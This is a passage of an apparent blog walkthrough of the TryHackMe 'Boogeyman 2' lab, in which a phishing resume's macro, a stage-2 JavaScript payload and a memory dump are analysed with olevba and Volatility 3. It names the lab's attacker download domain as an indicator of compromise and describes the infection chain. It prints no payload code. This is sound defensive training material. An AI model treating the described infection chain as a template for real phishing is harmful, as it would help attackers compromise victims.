&lt;blockquote&gt;&#xA;        &lt;p&gt;In this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Maxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The security team was able to flag some suspicious commands executed on the workstation of Maxine, which prompted the investigation. Given this, you are tasked to analyse and assess the impact of the compromise.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-email-was-used-to-send-the-phishingemail&#34;&gt;Question 1: What email was used to send the phishing email?&#xA;&lt;/h3&gt;&lt;p&gt;Jumping right into our environment let’s start with the email, “&lt;em&gt;Resume — Application for Junior IT Analyst Role.eml,”&lt;/em&gt; from within the &lt;em&gt;Artefacts&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;While there are a number of ways that we can approach the header analysis of this message, let’s just open it with the default &lt;em&gt;text editor&lt;/em&gt; and do manual header analysis for the first few questions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;14a13f024b01c1c840d677fd542af7a0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;613px&#34; data-flex-grow=&#34;255&#34; height=&#34;313&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/14a13f024b01c1c840d677fd542af7a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’ll start out with a simple one; all we’re looking for is the &lt;em&gt;From&lt;/em&gt; field in the email to find the sender’s address. Once we’ve found it, we can answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e00cd47cba9bec26a5efeba15ec99464_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;662px&#34; data-flex-grow=&#34;275&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/e00cd47cba9bec26a5efeba15ec99464_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aeaaaaff7f8cd0167fb33da948393f7a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/aeaaaaff7f8cd0167fb33da948393f7a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-email-of-the-victim-employee&#34;&gt;Question 2: What is the email of the victim employee?&#xA;&lt;/h3&gt;&lt;p&gt;By finding the &lt;em&gt;From&lt;/em&gt; field in the email header, we’ve also discovered the &lt;em&gt;To&lt;/em&gt; field right below it which has the victim, Maxine’s, &lt;em&gt;email address&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;898f9e62482ea8ffbef890902d41d7e3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;662px&#34; data-flex-grow=&#34;275&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/898f9e62482ea8ffbef890902d41d7e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ea99d632f710ccc0320decce95b77d68_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/ea99d632f710ccc0320decce95b77d68_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-attached-malicious-document&#34;&gt;Question 3: What is the name of the attached malicious document?&#xA;&lt;/h3&gt;&lt;p&gt;We can discover the attachment’s filename by simply searching for “attachment” within the text file. This will take us to the &lt;em&gt;Content-Description/Disposition&lt;/em&gt; fields where we can see the name of the attached malicious document.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3b6965f1d59a768aab16f600a5add63f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;927px&#34; data-flex-grow=&#34;386&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/3b6965f1d59a768aab16f600a5add63f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;16738586c0bddfe86c90fe17011958b6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/16738586c0bddfe86c90fe17011958b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-md5-hash-of-the-malicious-attachment&#34;&gt;Question 4: What is the MD5 hash of the malicious attachment?&#xA;&lt;/h3&gt;&lt;p&gt;While we have a couple of ways of approaching this, let’s take the path of least resistance and simply download the attachment by opening the &lt;em&gt;.eml&lt;/em&gt; file with the default email client installed in the analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;214838028a3ad44331970840d804a33e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;761px&#34; data-flex-grow=&#34;317&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/214838028a3ad44331970840d804a33e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/214838028a3ad44331970840d804a33e_MD5_hu_2e40a7c0bf3d52d.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/214838028a3ad44331970840d804a33e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once downloaded, we can use the &lt;em&gt;md5sum&lt;/em&gt; command from the &lt;em&gt;terminal&lt;/em&gt; to compute the &lt;em&gt;MD5 hash&lt;/em&gt; of the attachment.&lt;/p&gt;&#xA;&lt;p&gt;md5sum NAME-OF-ATTACHMENT-Q3.doc&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;780d3660021979775a4a9e38175ba8fc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/780d3660021979775a4a9e38175ba8fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;697355656f5265275641528445d78199_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/697355656f5265275641528445d78199_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-url-is-used-to-download-the-stage-2-payload-based-on-the-documents-macro&#34;&gt;Question 5: What URL is used to download the stage 2 payload based on the document’s macro?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now it’s time to perform some static analysis of the malicious attachment. Since the question mentions &lt;em&gt;macros&lt;/em&gt; and the attachment type is &lt;em&gt;.doc&lt;/em&gt;, let’s check out the tool mentioned in the tutorial for this challenge— &lt;a class=&#34;link&#34; href=&#34;https://www.decalage.info/en/python/olevba&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;olevba&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; part of the &lt;em&gt;oletools&lt;/em&gt; suite by Philippe Lagadec (&lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;decalage2&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;According to the project’s &lt;em&gt;GitHub&lt;/em&gt; repository:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to &lt;strong&gt;detect VBA Macros&lt;/strong&gt;, extract their &lt;strong&gt;source code&lt;/strong&gt; in clear text, &lt;strong&gt;decode malware obfuscation&lt;/strong&gt; (Hex/Base64/StrReverse/Dridex) and detect security-related patterns such as &lt;strong&gt;auto-executable macros&lt;/strong&gt;, &lt;strong&gt;suspicious VBA keywords&lt;/strong&gt; used by malware, and potential &lt;strong&gt;IOCs&lt;/strong&gt; (IP addresses, URLs, executable filenames, etc).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Sounds useful! Let’s put &lt;em&gt;olevba&lt;/em&gt; to work and parse the attachment to see if it discovers anything that could help us answer &lt;strong&gt;Question 2&lt;/strong&gt; by using the command below:&lt;/p&gt;&#xA;&lt;p&gt;olevba &lt;path-to-malicious-attachment&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the bottom of the output, we’ll find a handy summary of what the tool uncovered. Items marked with &lt;em&gt;IOC&lt;/em&gt; are &lt;em&gt;indicators of compromise&lt;/em&gt;, or items that can potentially help with our investigation like &lt;em&gt;IP Addresses, URLs,&lt;/em&gt; or &lt;em&gt;file names&lt;/em&gt;. Here we’ll see that &lt;em&gt;olevba&lt;/em&gt; extracted a suspicious &lt;em&gt;URL&lt;/em&gt; that might be related to the threat actor…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fd55de5b010e7c14fddbc26b720d155a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;517&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/fd55de5b010e7c14fddbc26b720d155a_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;olevba summary table&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4cf0d7a13498edd70f66299bdf128b41_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/4cf0d7a13498edd70f66299bdf128b41_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-process-that-executed-the-newly-downloaded-stage-2payload&#34;&gt;Question 6: What is the name of the process that executed the newly downloaded stage 2 payload?&#xA;&lt;/h3&gt;&lt;p&gt;Now, instead of focusing on the summary results, let’s look a little more closely at the &lt;em&gt;macro&lt;/em&gt; details where the &lt;em&gt;IOC&lt;/em&gt; is located. Scroll back toward the top of the &lt;em&gt;olevba&lt;/em&gt; output right above the summary table and look for the stream ‘&lt;em&gt;Macros/VBA/NewMacros’&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;de06a0c5f20bfbe5ead546f6944f4423_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;359px&#34; data-flex-grow=&#34;149&#34; height=&#34;534&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/de06a0c5f20bfbe5ead546f6944f4423_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at the &lt;em&gt;macro&lt;/em&gt; it seems that once the &lt;em&gt;stage 2 payload&lt;/em&gt; is downloaded from the &lt;em&gt;URL&lt;/em&gt; (&lt;strong&gt;Question 5),&lt;/strong&gt; it is saved as a &lt;em&gt;JavaScript&lt;/em&gt; (&lt;em&gt;.js&lt;/em&gt;) file and then executed with a specific process — this is what we need to answer &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;48321ae96d99785b6633e7ae2b32ef3e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/48321ae96d99785b6633e7ae2b32ef3e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-full-file-path-of-the-malicious-stage-2payload&#34;&gt;Question 7: What is the full file path of the malicious stage 2 payload?&#xA;&lt;/h3&gt;&lt;p&gt;Because we already found the process that executed the payload in the last question, we also discovered the file path where the &lt;em&gt;JavaScript&lt;/em&gt; payload was executed from.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b011d78879e5bb9420bfc7edeb2ebc36_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/b011d78879e5bb9420bfc7edeb2ebc36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-pid-of-the-process-that-executed-the-stage-2payload&#34;&gt;Question 8: What is the PID of the process that executed the stage 2 payload?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now we’re going to pivot to performing memory forensics using &lt;em&gt;Volatility 3.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren’t familiar with &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; it’s a “&lt;em&gt;widely used framework for extracting digital artifacts from volatile memory (RAM) samples.”&lt;/em&gt; In other words, we can use it to analyze the raw memory dump artifact &lt;em&gt;WKSTN-2961.raw&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;But how do we get started looking for the answer to &lt;strong&gt;Question 8?&lt;/strong&gt; A pro tip is to leverage &lt;em&gt;Volatility’s&lt;/em&gt; help function to see what plugins are available:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -h&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the available plugins, we’ll start by getting an overview of all the processes running at the time the memory dump was taken on the victim’s system and see the &lt;em&gt;process IDs&lt;/em&gt; (&lt;em&gt;PID)&lt;/em&gt; listed in the &lt;em&gt;PID&lt;/em&gt; column on the far left.&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.psscan&lt;/p&gt;&#xA;&lt;p&gt;Then, we can search the output manually for the &lt;em&gt;process name&lt;/em&gt; that we found in &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1813bc4b0b6faeab44da959a9a96727d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3469px&#34; data-flex-grow=&#34;1445&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/1813bc4b0b6faeab44da959a9a96727d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/1813bc4b0b6faeab44da959a9a96727d_MD5_hu_1500cfc923952e57.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/1813bc4b0b6faeab44da959a9a96727d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aaf5be661a31c4d840f345b65c4165f8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1074px&#34; data-flex-grow=&#34;447&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/aaf5be661a31c4d840f345b65c4165f8_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/aaf5be661a31c4d840f345b65c4165f8_MD5_hu_f9689877645b575c.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/aaf5be661a31c4d840f345b65c4165f8_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, we can work a little bit smarter and use &lt;em&gt;grep&lt;/em&gt; to show us only the results that match the &lt;em&gt;process name&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.psscan | grep &amp;ldquo;PROCESS-NAME-FROM-QUESTION-6&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c4970c12f3517da4ce8d2eb2c56b6e6a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;7384px&#34; data-flex-grow=&#34;3076&#34; height=&#34;26&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/c4970c12f3517da4ce8d2eb2c56b6e6a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It’s your choice! Either way, the &lt;em&gt;PID&lt;/em&gt; column is the answer we need.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bccca5d6ab65b2dfa0559c311b3395df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/bccca5d6ab65b2dfa0559c311b3395df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-what-is-the-parent-pid-of-the-process-that-executed-the-stage-2payload&#34;&gt;Question 9: What is the parent PID of the process that executed the stage 2 payload?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, by finding the answer to &lt;strong&gt;Question 8&lt;/strong&gt;, we also found the answer to &lt;strong&gt;Question 9&lt;/strong&gt; already. We just need to input the value in the &lt;em&gt;parent process ID (PPID)&lt;/em&gt; column!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8bf7a62af4af3b45ca952d3065051f91_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1074px&#34; data-flex-grow=&#34;447&#34; height=&#34;268&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/8bf7a62af4af3b45ca952d3065051f91_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/8bf7a62af4af3b45ca952d3065051f91_MD5_hu_6d3986324edf3047.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/8bf7a62af4af3b45ca952d3065051f91_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9117339c7456d6b99dc2d2b390697c2f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;7384px&#34; data-flex-grow=&#34;3076&#34; height=&#34;26&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/9117339c7456d6b99dc2d2b390697c2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;00f91b75aafa4a6545e628f36122ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/00f91b75aafa4a6545e628f36122ccdd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-url-is-used-to-download-the-malicious-binary-executed-by-the-stage-2payload&#34;&gt;Question 10: What URL is used to download the malicious binary executed by the stage 2 payload?&#xA;&lt;/h3&gt;&lt;p&gt;All right, we’ve gotten a good start with &lt;em&gt;Volatility&lt;/em&gt; but to answer &lt;strong&gt;Question 10&lt;/strong&gt; we need to go a step further and see if the processes that executed the &lt;em&gt;stage 2 payload&lt;/em&gt; &lt;strong&gt;(Question 8)&lt;/strong&gt; also has any child processes_._ The idea here is that by looking for processes spawned by the binary that launched the &lt;em&gt;stage 2 payload,&lt;/em&gt; we can analyze the payload and find any additional URLS.&lt;/p&gt;&#xA;&lt;p&gt;To accomplish this, we’ll leverage &lt;em&gt;Volatility’s&lt;/em&gt; &lt;code&gt;[windows.pstree](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pstree)&lt;/code&gt; to list the &lt;em&gt;process tree&lt;/em&gt; and view the relationships between the processes. To keep it simple, let’s use &lt;em&gt;grep&lt;/em&gt; again to show us only results with the &lt;em&gt;PID&lt;/em&gt; of the process that executed the &lt;em&gt;stage 2&lt;/em&gt; payload that we found in &lt;strong&gt;Question 8.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.pstree | grep &amp;ldquo;PID-FROM-QUESTION-8&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c2dafd129abfc2a01798da38712f6285_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;4682px&#34; data-flex-grow=&#34;1951&#34; height=&#34;41&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/c2dafd129abfc2a01798da38712f6285_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, there is a child process! Let’s try to determine where this executable came from by dumping the process with &lt;em&gt;Volatility’s&lt;/em&gt; &lt;code&gt;[windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memmap)&lt;/code&gt; plugin and searching for new evidence:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7944e1e39b94c1092743e2890ebcca74_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;4383px&#34; data-flex-grow=&#34;1826&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/7944e1e39b94c1092743e2890ebcca74_MD5.png&#34; width=&#34;621&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol -f WKSTN-2961.raw windows.memmap &amp;ndash;pid &lt;CHILD-PROCESS-PID&gt; &amp;ndash;dump&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fc5ebf05da12ed1954480d18d77e5cce_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1186px&#34; data-flex-grow=&#34;494&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/fc5ebf05da12ed1954480d18d77e5cce_MD5.png&#34; width=&#34;717&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running this command creates .&lt;em&gt;dmp&lt;/em&gt; file of the process. Then, we can try running &lt;em&gt;strings&lt;/em&gt; command to pull out any artifacts from the process dump. Since we know of the domain (&lt;strong&gt;Question 5)&lt;/strong&gt; that downloaded the &lt;em&gt;2nd stage&lt;/em&gt; payload, let’s start there:&lt;/p&gt;&#xA;&lt;p&gt;strings pid.REDACTED.dmp | grep &amp;ldquo;files.boogeymanisback.lol&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1ee713571e3309cbbf6ef61b91ea9ac1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;6000px&#34; data-flex-grow=&#34;2500&#34; height=&#34;32&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/1ee713571e3309cbbf6ef61b91ea9ac1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, while we see the &lt;em&gt;domain&lt;/em&gt;, we don’t have a full &lt;em&gt;URL&lt;/em&gt; path to the malicious binary within the process dump. So, why don’t we just try running strings against the complete raw memory dump instead to check the whole thing in one shot?&lt;/p&gt;&#xA;&lt;p&gt;strings WKSTN-2961.raw | grep &amp;ldquo;files.boogeymanisback.lol&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3cb7f9ae83f68a88092f6a4617d861a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/3cb7f9ae83f68a88092f6a4617d861a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! Now we’ve found a second file from this domain — this is the &lt;em&gt;malicious 